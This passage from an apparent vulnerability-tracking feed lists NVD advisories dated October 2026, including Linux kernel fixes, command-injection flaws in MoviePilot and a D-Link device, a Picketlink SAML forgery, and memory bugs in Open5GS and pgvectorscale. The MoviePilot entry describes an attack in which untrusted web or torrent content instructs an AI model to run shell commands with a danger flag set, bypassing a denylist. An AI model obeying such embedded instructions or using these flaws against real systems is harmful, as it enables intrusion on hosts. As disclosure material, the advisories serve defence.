hook_list to transaction hook_list breaks netlink dump path readers
of this RCU-protected list.

It should be possible use an array for nft_trans_hook to store the
deleted hooks to compact the representation but I am not expecting
many hook object, specially now that wildcard support for devices
is in place.

Note that the nft_trans_chain_hooks() list contains a list of struct
nft_trans_hook objects for DELCHAIN and DELFLOWTABLE commands, while
this list stores struct nft_hook objects for NEWCHAIN and NEWFLOWTABLE.
Note that new commands can be updated to use nft_trans_hook for
consistency.

This patch also adapts the event notification path to deal with the list
of hook transactions.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63858).
Sources:
NVD CVE-2026-63858: https://nvd.nist.gov/vuln/detail/CVE-2026-63858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

netfilter: nf_tables: add hook transactions for device deletions

Restore the flag that indicates that the hook is going away, ie.
NFT_HOOK_REMOVE, but add a new transaction object to track deletion
of hooks without altering the basechain/flowtable hook_list during
the preparation phase.

The existing approach that moves the hook from the basechain/flowtable
hook_list to transaction hook_list breaks netlink dump path readers
of this RCU-protected list.

It should be possible use an array for nft_trans_hook to store the
deleted hooks to compact the representation but I am not expecting
many hook object, specially now that wildcard support for devices
is in place.

Note that the nft_trans_chain_hooks() list contains a list of struct
nft_trans_hook objects for DELCHAIN and DELFLOWTABLE commands, while
this list stores struct nft_hook objects for NEWCHAIN and NEWFLOWTABLE.
Note that new commands can be updated to use nft_trans_hook for
consistency.

This patch also adapts the event notification path to deal with the list
of hook transactions.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ipv4: udp: Create exceptions before socket matching
https://kevwire.com/record/CVE-2026-99077
Linux kernel: ipv4: udp: Create exceptions before socket matching (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ipv4: udp: Create exceptions before socket matching

Currently, when ICMP Fragmentation Needed and Redirect Message packets
are locally delivered and quote a UDP packet, a FIB nexthop exception
(FNHE) is only created if the kernel can match the UDP packet to an
existing socket.

This behavior allows off-path attackers to conduct a side-channel attack
on the FNHE cache in order to discover the ephemeral port used by a
connected UDP socket.

Commit 6457378fe796 ("ipv4: use siphash instead of Jenkins in
fnhe_hashfun()") and commit 67d6d681e15b ("ipv4: make exception cache
less predictible") tried to mitigate such attacks by making it harder
for attackers to discover hash collisions in the FNHE cache and by
randomizing the number of exceptions a hash bucket can hold,
respectively. Unfortunately, both of the mitigations can be bypassed.

Instead, mitigate such attacks by always creating a FNHE, even before
trying to find a matching socket. Do that by calling ipv4_update_pmtu()
and ipv4_redirect(), the helpers used when the quoted packet did not
originate from a socket.

This means that guesses (right or wrong) from an off-path attacker will
always result in a FNHE being created or updated in the cache that the
attacker can observe.

Pass an oif of 0, in a similar fashion to icmp_err(). This is also the
oif used by the socket path for sockets that are not bound to a device.

Note that this does not allow attackers to create FNHEs that they could
not create before, as both helpers can already be reached with little to
no validation. For example, by sending an ICMP error that quotes an ICMP
Echo Reply or one that quotes a UDP source port that matches a wildcard
socket.

Also note that in the good case (matched socket) the above scheme comes
at the cost of an extra route lookup, as the no socket helpers perform
their own lookup before the one performed by ipv4_sk_update_pmtu() /
ipv4_sk_redirect(). When the two resolve to different nexthops, it also
results in two exceptions being created for the same destination IP. One
in the FNHE cache of the nexthop resolved by the no socket helpers and
another in t
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99077).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99077&date=2026-10-25).
Sources:
NVD CVE-2026-99077: https://nvd.nist.gov/vuln/detail/CVE-2026-99077
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99077&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ipv4: udp: Create exceptions before socket matching

Currently, when ICMP Fragmentation Needed and Redirect Message packets
are locally delivered and quote a UDP packet, a FIB nexthop exception
(FNHE) is only created if the kernel can match the UDP packet to an
existing socket.

This behavior allows off-path attackers to conduct a side-channel attack
on the FNHE cache in order to discover the ephemeral port used by a
connected UDP socket.

Commit 6457378fe796 ("ipv4: use siphash instead of Jenkins in
fnhe_hashfun()") and commit 67d6d681e15b ("ipv4: make exception cache
less predictible") tried to mitigate such attacks by making it harder
for attackers to discover hash collisions in the FNHE cache and by
randomizing the number of exceptions a hash bucket can hold,
respectively. Unfortunately, both of the mitigations can be bypassed.

Instead, mitigate such attacks by always creating a FNHE, even before
trying to find a matching socket. Do that by calling ipv4_update_pmtu()
and ipv4_redirect(), the helpers used when the quoted packet did not
originate from a socket.

This means that guesses (right or wrong) from an off-path attacker will
always result in a FNHE being created or updated in the cache that the
attacker can observe.

Pass an oif of 0, in a similar fashion to icmp_err(). This is also the
oif used by the socket path for sockets that are not bound to a device.

Note that this does not allow attackers to create FNHEs that they could
not create before, as both helpers can already be reached with little to
no validation. For example, by sending an ICMP error that quotes an ICMP
Echo Reply or one that quotes a UDP source port that matches a wildcard
socket.

Also note that in the good case (matched socket) the above scheme comes
at the cost of an extra route lookup, as the no socket helpers perform
their own lookup before the one performed by ipv4_sk_update_pmtu() /
ipv4_sk_redirect(). When the two resolve to different nexthops, it also
results in two exceptions being created for the same destination IP. One
in the FNHE cache of the nexthop resolved by the no socket helpers and
another in the FNHE cache of the nexthop used by the socket.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/ttm: fix swapped-out resources never leaving their bulk_move range
https://kevwire.com/record/CVE-2026-98166
Linux kernel: drm/ttm: fix swapped-out resources never leaving their bulk_move range (Oct 6, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/ttm: fix swapped-out resources never leaving their bulk_move range

ttm_tt_swapout() returns the number of pages swapped out on success and
a negative error code on failure; for a populated ttm it never returns
zero. Commit b2ed01e7ad3d ("drm/ttm: Fix ttm_bo_swapout() infinite LRU
walk on swapout failure") moved the bulk_move bookkeeping in
ttm_bo_swapout_cb() under "if (!ret)", so the
ttm_resource_del_bulk_move_unevictable() / ttm_resource_move_to_lru_tail()
pair is now skipped on every successful swapout. The equivalent change
for the shrinker in commit 1d59f36e95f7 ("drm/ttm: Fix ttm_bo_shrink()
infinite LRU walk on backup failure") tests "lret > 0", which is what
was intended here as well.

Before b2ed01e7ad3d the resource was taken off the bulk_move before the
swapout; since then a swapped-out resource stays inside its BO's
bulk_move range (and on the manager LRU) although it is unevictable.
When it is later freed or the BO leaves the bulk_move
(ttm_resource_free(), ttm_bo_set_bulk_move() via amdgpu_vm_bo_del()),
ttm_resource_del_bulk_move() skips it because of its
!ttm_resource_unevictable() guard, so a range endpoint in pos->first /
pos->last is left pointing at freed memory. The next
ttm_lru_bulk_move_tail() or ttm_resource_add_bulk_move() on that cursor
is a use-after-free, seen as the resv WARN in ttm_lru_bulk_move_add(),
"list_del corruption" in ttm_resource_move_to_lru_tail() or a NULL
dereference in ttm_resource_manager_next() -- minutes to hours after a
hibernation, or at process exit / reboot following one. Samuel
Ainsworth's analysis of drm/amd issue 5387 (see Link) identified the
dangling cursor; the missing removal at swapout time is the reason it
dangles.

Testing the condition for success restores the removal. On an AMD
Phoenix APU (ASUS UM3406GA, gfx1103) running suspend-then-hibernate on
a 7.0.y stable kernel carrying the backport (Ubuntu 7.0.0-31) the bug
crashed 5 of 18 hibernation cycles; a function profile of one
hibernation showed 336 ttm_tt_swapout() calls and zero
ttm_resource_del_bulk_move_unevictable() calls. With this change the
removal happens for every swap
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98166).
Sources:
NVD CVE-2026-98166: https://nvd.nist.gov/vuln/detail/CVE-2026-98166
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

drm/ttm: fix swapped-out resources never leaving their bulk_move range

ttm_tt_swapout() returns the number of pages swapped out on success and
a negative error code on failure; for a populated ttm it never returns
zero. Commit b2ed01e7ad3d ("drm/ttm: Fix ttm_bo_swapout() infinite LRU
walk on swapout failure") moved the bulk_move bookkeeping in
ttm_bo_swapout_cb() under "if (!ret)", so the
ttm_resource_del_bulk_move_unevictable() / ttm_resource_move_to_lru_tail()
pair is now skipped on every successful swapout. The equivalent change
for the shrinker in commit 1d59f36e95f7 ("drm/ttm: Fix ttm_bo_shrink()
infinite LRU walk on backup failure") tests "lret > 0", which is what
was intended here as well.

Before b2ed01e7ad3d the resource was taken off the bulk_move before the
swapout; since then a swapped-out resource stays inside its BO's
bulk_move range (and on the manager LRU) although it is unevictable.
When it is later freed or the BO leaves the bulk_move
(ttm_resource_free(), ttm_bo_set_bulk_move() via amdgpu_vm_bo_del()),
ttm_resource_del_bulk_move() skips it because of its
!ttm_resource_unevictable() guard, so a range endpoint in pos->first /
pos->last is left pointing at freed memory. The next
ttm_lru_bulk_move_tail() or ttm_resource_add_bulk_move() on that cursor
is a use-after-free, seen as the resv WARN in ttm_lru_bulk_move_add(),
"list_del corruption" in ttm_resource_move_to_lru_tail() or a NULL
dereference in ttm_resource_manager_next() -- minutes to hours after a
hibernation, or at process exit / reboot following one. Samuel
Ainsworth's analysis of drm/amd issue 5387 (see Link) identified the
dangling cursor; the missing removal at swapout time is the reason it
dangles.

Testing the condition for success restores the removal. On an AMD
Phoenix APU (ASUS UM3406GA, gfx1103) running suspend-then-hibernate on
a 7.0.y stable kernel carrying the backport (Ubuntu 7.0.0-31) the bug
crashed 5 of 18 hibernation cycles; a function profile of one
hibernation showed 336 ttm_tt_swapout() calls and zero
ttm_resource_del_bulk_move_unevictable() calls. With this change the
removal happens for every swapped-out resource and 12 further cycles
were clean.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content...
https://kevwire.com/record/CVE-2026-77931
MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content... (Oct 15, 2026).
MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content processed through tools like browse_webpage, search_web, and torrent metadata parsers, which then get passed to the unrestricted ExecuteCommandTool via asyncio.create_subprocess_shell. Attackers can craft content that instructs the model to invoke execute_command with confirm_dangerous set to true, bypassing the validate_command_safety denylist and exploiting the admin session's is_admin context to achieve remote code execution on the host.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77931).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77931&date=2026-10-25).
Sources:
NVD CVE-2026-77931: https://nvd.nist.gov/vuln/detail/CVE-2026-77931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77931&date=2026-10-25
MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content processed through tools like browse_webpage, search_web, and torrent metadata parsers, which then get passed to the unrestricted ExecuteCommandTool via asyncio.create_subprocess_shell. Attackers can craft content that instructs the model to invoke execute_command with confirm_dangerous set to true, bypassing the validate_command_safety denylist and exploiting the admin session's is_admin context to achieve remote code execution on the host.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76526
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76526 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76526).
Sources:
NVD CVE-2026-76526: https://nvd.nist.gov/vuln/detail/CVE-2026-76526
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76526 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76300
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76300 are related to improper control of a resource through its lifetime and are grouped under the Common Weakness Enumeration (CWE) CWE-664.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76300).
Sources:
NVD CVE-2026-76300: https://nvd.nist.gov/vuln/detail/CVE-2026-76300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76300 are related to improper control of a resource through its lifetime and are grouped under the Common Weakness Enumeration (CWE) CWE-664.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting...
https://kevwire.com/record/CVE-2026-52356
An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting... (Oct 23, 2026).
An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-52356).
Sources:
NVD CVE-2026-52356: https://nvd.nist.gov/vuln/detail/CVE-2026-52356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML...
https://kevwire.com/record/CVE-2026-15556
A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML... (Aug 11, 2026).
A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML response and auth as any principal with any roles on the protected application.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-15556).
Sources:
NVD CVE-2026-15556: https://nvd.nist.gov/vuln/detail/CVE-2026-15556
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
A flaw was found in Picketlink's SP signature validation; a SAML response containing zero assertion elements matching the signature check can allow an attacker to forge a SAML response and auth as any principal with any roles on the protected application.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty...
https://kevwire.com/record/CVE-2026-116543
Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty... (Oct 26, 2026).
Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network function, overflowing the lookbehind buffer and crashing it.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116543).
Sources:
NVD CVE-2026-116543: https://nvd.nist.gov/vuln/detail/CVE-2026-116543
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network function, overflowing the lookbehind buffer and crashing it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or...
https://kevwire.com/record/CVE-2026-116489
Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or... (Oct 26, 2026).
Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query DiskANN indexes over crafted values to cause out-of-bounds reads and writes, disclosing memory, crashing the server, or escalating privileges.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116489).
Sources:
NVD CVE-2026-116489: https://nvd.nist.gov/vuln/detail/CVE-2026-116489
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query DiskANN indexes over crafted values to cause out-of-bounds reads and writes, disclosing memory, crashing the server, or escalating privileges.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts.
https://kevwire.com/record/CVE-2026-116369
A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts. (Oct 26, 2026).
A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts. Such manipulation of the argument state/labels leads to os command injection. The attack can be launched remotely. Upgrading to version 0.4.1 is recommended to address this issue. The name of the patch is 253d93bbdf7ee9fe42bd8fdf15feea93ae59cbae. It is suggested to upgrade the affected component.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116369).
Sources:
NVD CVE-2026-116369: https://nvd.nist.gov/vuln/detail/CVE-2026-116369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts. Such manipulation of the argument state/labels leads to os command injection. The attack can be launched remotely. Upgrading to version 0.4.1 is recommended to address this issue. The name of the patch is 253d93bbdf7ee9fe42bd8fdf15feea93ae59cbae. It is suggested to upgrade the affected component.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the...
https://kevwire.com/record/CVE-2026-116368
A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the... (Oct 26, 2026).
A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the component Browser Auth. This manipulation causes improper authorization. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116368).
Sources:
NVD CVE-2026-116368: https://nvd.nist.gov/vuln/detail/CVE-2026-116368
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the component Browser Auth. This manipulation causes improper authorization. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file...
https://kevwire.com/record/CVE-2026-116367
A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file... (Oct 26, 2026).
